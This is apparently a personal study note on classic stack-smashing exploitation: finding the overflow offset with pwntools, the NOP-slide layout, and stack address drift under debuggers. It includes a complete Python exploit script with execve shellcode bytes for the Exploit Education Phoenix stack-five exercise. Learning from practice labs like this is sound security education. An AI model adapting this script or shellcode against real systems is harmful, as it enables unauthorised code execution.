Stack Smashing

Basic stack overflow with executable stack, no protections

Overview

What you need to do:

  1. Find the address of the buffer on the stack

  2. Find the address of the EIP on the stack, that was pushed for the RET instruction

  3. Subtract #1 from #2. That’s how much padding space you have

  4. Fill the padding space with random padding

  5. After the padding space, overwrite the EIP which was saved on the stack. It should point to the NOP slide in #6. Put it in the middle of the NOP slide due to differences in the stack address space (view section “Stack address changes”)

  6. After the overwritten EIP, put a NOP slide. You can be generous with this, like 128 bytes for example. But making it ridiculously large may break the program.

  7. After the NOP slide, put your shellcode

Note: You can also put the shellcode inside the buffer, but the above method is better, since then you won't be limited by the buffer size.

Finding out how many bytes the overflow needs to be

You need to know how many bytes you need to overflow to get to the saved return pointer. You can use the cyclic generator from pwntools to easily identify it.

You can generate the overflow like this (in ascii in this case, but you can also leave them as bytes for exploitation):

import pwn

number_of_bytes = 500
generator = pwn.util.cyclic.cyclic_gen()
overflow = generator.get(number_of_bytes).decode('ascii')

Alternatively, you can use the pwntools command-line program:

pwn cyclic 500

Use the generated overflow to cause a segfault in the application. Then look at dmesg:

sudo dmesg
[14515.106389] target[9460]: segfault at 61616b62 ip 0000000061616b62 sp 00000000ff9cd5f0 error 14

You can see that the instruction pointer was 61616b62, which corresponds to the ascii text 'aakb'. Also, it's in little endian, so it corresponds to 'bkaa' in the cyclic generator's output.

Echo out the overflow ascii and find out where the 'bkaa' string occurs in the cyclic output. That's the place where you need to put the address you want to overflow the saved return pointer with. The amount of bytes up until that string is the amount of bytes you need to get to the return pointer on the stack from the initial overflow location.

Exploitation

Here’s the script I used to generate the input file for the phoenix stack5 challenge:

from __future__ import print_function

override_length = 136

padding = 'A' * override_length
return_address = "\x00\x00\x7f\xff\xff\xff\xe5\x40"[::-1]
nop_slide = "\x90" * 128
shell_code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = padding + return_address + nop_slide + shell_code

with open('/home/user/input.txt', 'w') as f:
            print(payload, file=f)

Remember to cat the input in like this:

(cat ~/input.txt; cat) | /opt/phoenix/amd64/stack-five

Note: In hindsight, it would be better and easier to do this with pwntools.

Stack address changes

Note: This is not a real issue when you get to more advanced exploitation methods, because you don't ever provide absolute stack addresses anyways due to ASLR.

When you use a debugger like GDB or radare2, then that debugger will put environment variables on the stack. This will make the address space move around, and when running the program normally, the absolute addresses you found in your debugger will no longer be entirely correct.

Also, argv will be smaller if you call the program with the full path instead of a relative path (‘./program’ is smaller than ‘/path/to/program’).

Additionally, the current working directory is also on the stack, so different working directories will result in different addresses.

This is one reason why NOP slides are important. Note that the addresses relative to the base pointer should still stay the same.

So keep in mind - use a decent-sized nopslide and put the EIP/RIP into the middle of that nopslide. That way the address changes won’t mess up your exploit so easily. However, if you add too many, then the process will crash (probably because the stack runs out of space?) When I added 700 bytes of NOPs it was fine, but when I added 7000, then that was trouble.

Comparing stack changes in tools

I made a test file which shows differences in an address on the stack for different execution environments (This was run on the Exploit Education Phoenix machine. The GDB is modded there. Probably that’s why radare2 is better in this case)

Also, I didn’t try to simply attach the debugger. Maybe then the address wouldn’t change?

Conclusion: On the Phoenix machine, Radare2 is the most accurate when you specify the full path. It was only off by 0x10.

Gdb without stack address changes

These lines should give the same environment variables as during normal execution. Run these inside gdb.

unset env LINES
unset env COLUMNS
set env _ /path/to/executable

Note: This didn’t work with the modded GDB of Phoenix

Radare2 without stack address changes

Radare2 has the configuration clearenv=true in the rr2 file, but it didn’t result in the same address for me as running normally. So, it doesn’t seem to work.

FixEnv script

This script may help you:

It will keep the locations the same between running the program with GDB and running it normally. Didn’t work with radare2 as of july 2020. Doesn’t work with the modded GDB of Phoenix. Doesn’t work with ASLR enabled.

Shellcode corruption

If your shellcode is on the stack, and your shellcode also pushes stuff onto the stack, then if the ESP is located where your shellcode is at, then your shellcode will corrupt itself by pushing data into its own code.

This is why you shouldn’t put your shellcode too close to the EIP, instead, you should have a NOP slide between them. Because that’s also where the stack pointer is. Also, remember that the stack grows downward, so putting the shellcode after the overwritten EIP (up higher) is a good idea.

LiveOverflow video discussing this:

Last updated